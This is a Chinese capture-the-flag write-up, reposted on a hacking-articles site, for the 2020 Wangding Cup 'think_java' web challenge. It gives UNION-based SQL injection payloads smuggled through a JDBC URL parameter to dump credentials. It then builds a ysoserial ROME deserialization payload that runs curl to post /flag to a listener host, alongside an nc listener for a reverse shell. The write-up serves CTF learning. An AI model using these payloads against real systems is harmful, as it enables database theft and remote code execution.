记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

2020 | 网鼎杯 | Web | think_java

2021-09-22 17:03

题目考点

  • sql注入

  • java反序列化


解题思路

题目一打开是这样的界面

图片.png

下载题目的附件,并用jd-gui.exe打开

图片.png

核心代码如下

Test代码

``

package 部分class;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;



@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test
{
@PostMapping({"/sqlDict"})
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}

这里面我们可以看到通过post请求/common/test/sqlDict可以进行数据库的操作,于是我们利用burp继续宁抓包来搞一下

图片.png

这里抓到的初始数据包为GET方式,注意一定要改为POST,并请求上面所说的/common/test/sqlDict

图片.png

接下来java程序会去连接数据库,请看下面这段代码

SqlDict.class代码

``

package 部分class.sqldict;
import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;

public class SqlDict {
public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;

try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}

if (user == null || dbName.equals("")) {
user = "root";
}

if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}

conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}

return conn;
}

public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList<>();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";

try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });

while (tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);

while (rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}

table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

String PK;
for (PK = ""; rs2.next(); PK = rs2.getString(4));



while (data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}

Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}

return Tables;
}
}

这里我们对dbName进行传参,

try { Class.forName("com.mysql.jdbc.Driver"); if (dbName != null && !dbName.equals("")) { dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; } else { dbName = "jdbc:mysql://mysqldbserver:3306/myapp"; }

这段代码说明,我们如果不传入dbName参数时默认为myapp,有编程基础的师傅们都知道,在jdbc数据库连接时dbName后面还可以通过“?”连接来跟其他的参数,如useunicode等,而且参数不做限制,传任何参数都不会影响数据库的连接,所以这里我们就随便传一个参数a,来进行sql注入

即dbName=myapp?a=1' union select group_concat(schema_name) from information_schema.schemata#

爆出库名为myapp

然后依次再进行表名和字段的爆破

dbName=myapp?a=1' union select group_concat(table_name) from information_schema.tables where table_schema=myapp#

表名为user

dbName=myapp?a=' union select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='myapp'#

列名为name和pwd

爆值

dbName=myapp?a=' union select group_concat(name,':',pwd) from user#

name=ctfhub pwd=ctfhub_3162_30043,得到了用户名和密码

这道题的sql注入是最基础的,没有任何的过滤,所以这道题重点其实是旨在考查java反序列化。

图片.png

然后我们由上图中导包的这个swagger接口可知,会有一个swagger-ui.html的接口页面,我们打卡看一下

图片.png

打开这个/common/user/login登录页面,输入刚刚我们获取到的用户名和密码的json格式数据进行登录

图片.png

我们获取到登录用户信息的序列化+base64编码信息

图片.png

并且我们可以在/common/user/current 查看用户信息

图片.png

然后我们对这串编码字符串进行python脚本解码得到序列化字符串

import base64

a="rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyV2RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg=="
b = base64.b64decode(a).encode('hex')
print(b)

运行结果如下

图片.png

得到序列化的hex值:

aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000000000001740006637466687562

综上所述,这里用户登录后会回显用户信息的序列化值,查看当前用户信息会把序列化值进行反序列化回显到客户端,所以我们接下来构造有攻击性的序列化+base64值

利用 ysoserial 工具进行序列化生成有攻击的序列化值,命令如下:

java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://监听ip:监听端口号(4444) -d @/flag" > payload.bin

生成一个名为payload.bin的序列化文件,然后再对其进行base64加密

利用 py2 脚本进行反序列化数据的提取

import base64
file = open("D:\Desktop\网安工具\工具包\web\CTFTools\Web\Exploits\ysoserial\payload.bin","rb")
r = file.read()
b = base64.b64encode(r)
print(b)
file.close()

得到我们构造的序列化的payload的base64编码值。

然后在负责监听的服务器利用nc进行监听端口4444尝试反弹shell ,命令:nc -lvvp 4444

图片.png

然后将base64序列化值作为前面所说的用户token进行用户信息查看,即让其执行我们构造的恶意序列化值,向服务器反弹shell

图片.png

FLAG

之后反弹shell成功后便可在根目录中找到flag

知识来源: https://www.freebuf.com/articles/es/289290.html

阅读:46460 | 评论:0 | 标签:java

想收藏或者和大家分享这篇好文章→复制链接地址

“2020 | 网鼎杯 | Web | think_java”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁